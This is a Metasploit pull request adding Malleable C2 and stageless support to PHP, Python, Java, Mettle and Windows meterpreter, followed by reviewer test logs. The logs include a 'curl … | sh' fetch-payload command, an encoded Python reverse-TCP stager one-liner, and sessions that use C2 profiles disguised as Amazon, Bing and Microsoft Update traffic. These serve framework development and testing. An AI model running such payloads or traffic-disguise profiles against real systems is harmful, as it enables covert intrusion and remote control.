Skip to content

Stageless PHP/Python/Java/Windows/Mettle with Malleable C2 profile support#21483

Open
OJ wants to merge 27 commits into
rapid7:6.5from
OJ:feature/mc2-all
Open

Stageless PHP/Python/Java/Windows/Mettle with Malleable C2 profile support#21483
OJ wants to merge 27 commits into
rapid7:6.5from
OJ:feature/mc2-all

Conversation

@OJ

@OJ OJ commented May 20, 2026

Copy link
Copy Markdown
Contributor

Malleable C2 for all meterpreter runtimes (PHP/Python/Java/Mettle/Windows)

Builds on this previous PR to bring full MC2 + stageless feature parity to every meterpreter, plus a few fixes the wider work uncovered.

What's in here

MC2 wiring for non-Windows meterpreters

Mettle, PHP, Python, and Java now honour a Malleable C2 profile end-to-end:

  • Per-verb set uri "/foo" overrides LURI for that verb's requests; the framework registers each profile URI alongside LURI in all_uris so requests land on the right handler.
  • client.metadata / client.id placement (parameter, header, cookie, default path-append) emit TLV_TYPE_C2_UUID_GET/HEADER/COOKIE so payloads place the UUID where the profile says.
  • prepend, base64/base64url, and append directives on those placements work — the framework emits TLV_TYPE_C2_ENC_UUID + TLV_TYPE_C2_UUID_PREFIX + TLV_TYPE_C2_UUID_SUFFIX; each payload wraps the UUID accordingly; the handler reverses it.

Inbound vs outbound encoding split

TLV_TYPE_C2_ENC split into three independent settings — all carried in both TLV_TYPE_C2_GET and TLV_TYPE_C2_POST groups:

TLV Direction Sourced from
TLV_TYPE_C2_ENC_INBOUND server → client body decode server { output { base64|base64url } }
TLV_TYPE_C2_ENC_OUTBOUND client → server body encode client { output { base64|base64url } } (POST only)
TLV_TYPE_C2_ENC_UUID UUID placement encoding client { metadata|id { base64|base64url } }

Plus TLV_TYPE_C2_UUID_PREFIX/SUFFIX for the prepend/append directives on those placement sections.

Old TLV_TYPE_C2_ENC is gone; staged C-meterpreter, mettle, java, php, python, framework all use the split. TLV_TYPE_TRANS_* were unused and removed — the python extension's transport.py is stubbed with NotImplementedError pending a rewrite onto the C2 TLVs, this might be removed entirely as it's probably not a feature that anyone uses anyway.

UUID handling consistency

All four runtimes now follow the same pattern (matching metsrv generate_uri):

  • TLV_TYPE_C2_UUID carries the current connection's UUID (set initially via generate_uri_uuid(URI_CHECKSUM_INIT_CONN, uuid) in config.rb).
  • COMMAND_ID_CORE_PATCH_UUID (renamed from _PATCH_URL) updates the in-memory UUID without mutating the base URL.
  • Each request rebuilds the URL from scheme://host:port + profile uri + current rendered UUID.
  • For non-MC2 mode, the LURI path is preserved.

Java stageless overhaul

  • Single Java meterpreter modules now produce a self-contained jar (Main-Class: StagelessMain, full meterpreter + JarFileClassLoader + config-block resource embedded). msfvenom -f jar now routes through the modules' generate_jar override rather than the inherited stager-jar path.
  • loadExtension works under either bootstrap mode — lazily creates a JarFileClassLoader (and reuses it across loads) when the JVM-supplied AppClassLoader is in play.

Stageless EXTENSIONS= support

Every stageless single (Python/PHP/Java/Mettle, plus the existing Windows path) now bakes the listed extensions into the config block and hot-loads them before the C2 dispatch loop starts. The framework picks the right on-disk format via a new :ext_format opt ('x86.dll'/'x64.dll'/'jar'/'py'/'php'/'bin') so non-Windows extensions skip the RDI prep and are shipped as-is (with the gem's encrypted-payload short-circuit honoured for everything that has one).

Mettle's 8 KB config-block reservation can't hold real extensions; that's now caught at generation time with a clear error pointing the user at runtime load <ext> instead. EXTENSIONS=stdapi is a no-op for mettle (stdapi is already linked into mettle.bin).

Misc fixes / refactors found along the way

  • reverse_http.rb#request_summary now logs req.resource (full request URI) instead of luri — much more useful when MC2 routes hit /<profile-uri>/<uuid> mount points.
  • reverse_http.rb#find_resource_id rewritten to derive the candidate UUID from either query parameter, header, or path segment, then reverse profile-side prepend/append + base64 before handing it to process_uri_resource. Conservative: returns the candidate untouched if a declared wrapper isn't present (instead of mangling and feeding garbage downstream).

Validated end-to-end

runtime MC2 (body + UUID transforms) stageless EXTENSIONS=
PHP ✔ (e.g. stdapi)
Python
Java
Mettle (x86/x64 linux) warn-and-skip for things baked into the binary; honest error when the config block would overflow
Windows native (x86/x64) unchanged ✔ (existing path, now using :ext_format)

Notes for review

  • Other linux mettle archs (aarch64, arm*, mips*, ppc*, zarch) got the same module-side wiring as x86/x64 but I couldn't physically test them.
  • metasploit-payloads and mettle repos both have matching pull requests.

Testing

In short, for PHP, Python, Windows, Mettle and Java:

  • Load every combination of reverse http/https/tcp, bind tcp staged and make sure they work with the usual configurations.
  • Load every combination of stageless payload and make sure they work as expected, including with loading extra extensions.
  • Load every combination of stageless payload and use MALLEABLEC2 to use a C2 profile file (like this).

Build and run the payloads with the correct associated handlers. Good luck. Goodspeed. The testing matrix here is huge.

NOTE: I have not been able to test Android Meterpreter, so I will need help with this one.

NOTE: Merge is targeting 6.5 branch.

@smcintyre-r7

This comment was marked as resolved.

@cdelafuente-r7 cdelafuente-r7 moved this from Todo to In Progress in Metasploit Kanban May 28, 2026
@dledda-r7 dledda-r7 self-assigned this Jun 3, 2026
@dledda-r7

Copy link
Copy Markdown
Contributor

Hello @OJ, I think the fetch-payloads are not working anymore. I am trying to triage the issue:
This are the logs of upstream and the PR

┌──(kali㉿kali)-[~]
└─$ curl -s http://192.168.3.10:8080/PV50gm0MSHTYpFwNiLHhng|sh

                                                                                                                                                            
MSF!
┌──(kali㉿kali)-[~]
└─$ curl -s http://192.168.3.10:8080/PV50gm0MSHTYpFwNiLHhng|sh

                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ curl -s http://192.168.3.10:8080/PV50gm0MSHTYpFwNiLHhng   
                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ curl -s http://192.168.3.10:8080/PV50gm0MSHTYpFwNiLHhng -v 
*   Trying 192.168.3.10:8080...
* Established connection to 192.168.3.10 (192.168.3.10 port 8080) from 192.168.3.10 port 35600 
* using HTTP/1.x
> GET /PV50gm0MSHTYpFwNiLHhng HTTP/1.1
> Host: 192.168.3.10:8080
> User-Agent: curl/8.20.0
> Accept: */*
> 
* Request completely sent off
* Empty reply from server
* shutting down connection #0
                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ 

I am not sure if this was related to the previous PR i have landed.

@msutovsky-r7

Copy link
Copy Markdown
Contributor

Python

TCP

Stagged

msf payload(python/meterpreter/reverse_tcp) > set lport 4242
lport => 4242
msf payload(python/meterpreter/reverse_tcp) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf payload(python/meterpreter/reverse_tcp) > set lport 4242
lport => 4242
msf payload(python/meterpreter/reverse_tcp) > generate -f raw
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9T01LxDAQPTe/IrckGENb4gqLFUQ8iIjgeltE2mTU0DQpSVar4n+3IYsMzPDmvfl4Zpp9SDh6NULi39YMfOgjbCSPKRxU4slMgF59wAs2DofevQFtarZFVQpfa65iV4ZFKbTlR7x7uL572T093lzds6wTyjsHKlFKmvZc1Gs0hMtWtizzQ4B+RBUsCuaUF+fLIlqAmZ4xZLvykDi4uVcjJZe3hEcRQH1Qydi+fka6O2LL0Oe7sYAtOKrZhV3X6ZN/9rS0GYIFFM2ehQblpzlAjLTYF8NG5qaGrOQ/JJJt/GXoD+MWXlU=')[0])))
msf payload(python/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter/reverse_tcp) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4242 
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Sending stage (29788 bytes) to 127.0.0.1
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:47246) at 2026-06-12 10:34:12 +0200

msf payload(python/meterpreter/reverse_tcp) > sysinfo
[-] Unknown command: sysinfo. Run the help command for more details.
msf payload(python/meterpreter/reverse_tcp) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms

Stageless

msf payload(python/meterpreter_reverse_tcp) > to_handler 
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4242 
msf payload(python/meterpreter_reverse_tcp) > WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 2 opened (127.0.0.1:4242 -> 127.0.0.1:45168) at 2026-06-12 10:37:49 +0200

msf payload(python/meterpreter_reverse_tcp) > sessions -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms

HTTP

stageless

amazon.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/amazon.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/amazon.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30752 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: p9lyceq2) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: p9lyceq2) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID xX16Y7l776vjUvZGiXkkWAgZxdvPy67wG8wZ
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: p9lyceq2) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: p9lyceq2) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: p9lyceq2) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:43784) at 2026-06-12 10:45:00 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: ms
meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
bing_maps
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bing_maps.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bing_maps.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30660 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4le0m8k9) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4le0m8k9) Redirecting stageless: URI '/maps/overlaybfpr' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' -> UUID dRnh41wXxB6HDpIa7SVAvwp0cYnkIREIM8NYB6u_niPJZD1IXPLTreyJj-p4J14yD_PVJg5Bxq6EcQV5xJTq4zhSxaa8UqkoXb1B1uq
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4le0m8k9) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4le0m8k9) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4le0m8k9) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:49616) at 2026-06-12 10:47:47 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
bingsearch_getonly
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30792 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: yow6r5xq) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: yow6r5xq) Redirecting stageless: URI '/search/' with UA 'Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko' -> UUID 1OLkf8naTzobYQ51cUrTRwaOMd5E3oSvaXt79c3hdtkkzujHbw_10kC-n3Zvm2U5AkXa0e2u7VOhgIKoGRCFpp9
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: yow6r5xq) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: yow6r5xq) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: yow6r5xq) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:36890) at 2026-06-12 10:49:44 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
microsoft_update_getonly
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/microsoftupdate_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/microsoftupdate_getonly.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30404 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242

msf payload(python/meterpreter_reverse_http) > sessions 
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: o51s4teb) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: o51s4teb) Redirecting stageless: URI '/c/msdownload/update/others/2016/12/29136388_/NlItTnNWNlpHNkwwc2VHbG5wbzh3UThSS3o4Y0g.cab' with UA 'Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40' -> UUID 6R-NsV6ZG6L0seGlnpo8TwurkJTTWcrPtYMJljqKQK6GuYgk2mLpSTbxOQjRAH6x_dXDtdC59qOaSHA36AV7OxACpzyHmyNo_VJdBd87Z5w6JMljSzIqM0z
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: o51s4teb) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: o51s4teb) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: o51s4teb) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:57276) at 2026-06-12 10:53:20 +0200


Active sessions
===============

  Id  Name  Type                      Information         Connection
  --  ----  ----                      -----------         ----------
  1         meterpreter python/linux  ms @ cachyos-x8664  127.0.0.1:4242 -> 127.0.0.1:57276 (127.0.0.1)

msf payload(python/meterpreter_reverse_http) > sessions  -1
[*] Starting interaction with 1...

meterpreter > sysinfo
getuidComputer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
mscrl
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/mscrl.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/mscrl.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30660 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mp1c6w8r) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mp1c6w8r) Redirecting stageless: URI '/pki/mscorp/cps/default.htm' with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36' -> UUID xSTsCLLnX5ekuLGszpNodgp9TKaZtSRh9aUtfPEGR_Gm05CkStkDJ2x-r3MTZvL0qZZZk3-xsE-fvy5B
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mp1c6w8r) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mp1c6w8r) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: mp1c6w8r) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:51172) at 2026-06-12 11:09:36 +0200

msf payload(python/meterpreter_reverse_http) > sessions  -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
msnbc_video
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/msnbcvideo_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/msnbcvideo_getonly.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30796 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: j5b4udrn) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: j5b4udrn) Redirecting stageless: URI '/z/msnbc2_live01@9615/manifest.f4m' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID dZAkvMnVkksKWx9PYHDFngRDwYu06c_sskQUODja-
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: j5b4udrn) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: j5b4udrn) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: j5b4udrn) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:57974) at 2026-06-12 11:22:18 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
getuid
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
office365_calendar
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/office365_calendar.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/office365_calendar.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30660 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(python/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: bl3dg807) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: bl3dg807) Redirecting stageless: URI '/owa/' with UA 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)' -> UUID fKKjsmM19_F_HGoIFTevlgAKscy4UsTPhi-C8G7A5PcxDn95j5
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: bl3dg807) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: bl3dg807) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: bl3dg807) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (127.0.0.1:4242 -> 127.0.0.1:54644) at 2026-06-12 11:25:32 +0200

msf payload(python/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : cachyos-x8664
OS              : Linux 7.0.11-1-cachyos #1 SMP PREEMPT_DYNAMIC Wed, 03 Jun 2026 22:05:15 +0000
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: ms
oscp
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> use payload/python/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lhost 127.0.0.1
lhost => 127.0.0.1
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/oscp.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/oscp.profile
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> generate -f raw -o /tmp/msf.py
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Writing 30176 bytes to /tmp/msf.py...
resource (/home/ms/Desktop/msf_scripts/python_http_stageless_malleable_c2.rb)> to_handler
WARNING: Local file /home/ms/.msf4/payloads/meterpreter/meterpreter.py is being used
[*] Payload Handler Started as Job 0
msf payload(python/meterpreter_reverse_http) > 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
